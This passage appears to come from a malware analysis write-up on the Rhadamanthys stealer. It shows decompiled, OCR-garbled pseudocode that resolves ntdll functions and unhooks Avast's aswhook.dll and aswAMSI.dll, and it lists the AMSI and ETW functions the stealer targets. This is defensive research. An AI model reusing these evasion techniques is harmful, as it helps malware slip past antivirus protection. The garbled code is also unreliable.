ptr_RtlNtStatusToDosError_@ = ptr_GetProcAddress(ptr_ntdll, "RtlNtStatusToDosError™});
ptr_ZwShutdownSystem = ptr_GetProcAddress(ptr_ntdll, "ZwShutdownSystem");
ptr_ZwQueryObject = ptr_GetProcAddress(ptr_ntdll, "ZwQueryObject");
ptr_ZwMapViewOfSection = ptr_GetProcAddress(ptr_ntdll, “ZwMapViewOfSection™);
ptr_ZwUnmapViewOfSection = ptr_GetProcAddress(ptr ntdll, "ZwUnmapViewOfSection™);
ptr_ZwQueryDirectoryObject = ptr_GetProcAddress(ptr_ntdll, “ZwQueryDirectoryObject”™);
result = ptr_GetProcAddress(ptr_ntdll, “ZwOpenDirectoryObject”);
ptr_ZwOpenDirectoryObject = result;

return result;

Dynamic resolving

Evasion technique: Modify and possibly manipulate AVAST modules
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The stealer uses the same code that was used in the loader to verify and unhook functions and the same function
appears to aim for the AVAST-related modules aswhook.dll & aswAMSI.dIl.

Press enter or click to view image in full size

ModuleHandle) )

if { '(unsigned int)ptr_ IsBadReadPtr(v28, w4} 8& !{unsigned int)ptr_IsBadReadPtr(real_dll_expert, v4) )

if ( (unsigned int:]((__

sig teall *)}{__intéd; _ int64, _ imtéd))ptr_mememp)(

intéd

)
{ a
32 = 4096i64;
v33 = real dll ort;
if { !({unsig int)ptr_ZwProtectVirtualMemory_sub 23CER(vi7, {_ inted)8v33, (__ints4)8v32, o4iesd) )
{

e_pos_memcpy_sub_3F2AC{);
ptr_ZwProtectVirtualMemory sub 23CE@(v17, (_ int54)8w33, (_ int64)8v3Z, (uns

zned int)w3g);

w26 = ptr_GetModuleHandle("aswhook.d11%);
ri-H

}

i e}
{
(v2E);

if ( *(_WORD *)v27 == 23117 )
({woid {__fastcall *){__inté4, _QWORD, _QWORD)){(v27 + *(unsigned int *){={int *}(v27 + 68} + v27 + 48)))(

w27,
gigs,
Big4);
1
result = ptr_GetModuleHandle( ™ aswiMSI.d11");
3 1 resit )
{

resule « N (- 1) ;
if ( *(_wWORD 3
return ({__

QHORD, _QWORD))I(w29 + *(unsigned int *)}{*(int *}(v29 + 68) + w29 + 48)))(

Check AVAST’s AMSI-related DLLs
More amsi-related functions and DLLs that are being targeted by the stealer are:

1. avamsicli.dil

2. amsi.dll

3. AmsiScanString
4. AmsiScanBuffer
5. EtwEventWrite

At this stage, I decided to stop my analysis
For everyone's convenience, I also uploaded all the files from my analysis including the shellcodes to VirusTotal.
Rhadamanthys files

https://www.virustotal.com/gui/file/8384322d609d7f26c6dc243422ecec3d40b30f29421210e7fbad448e375a134f6
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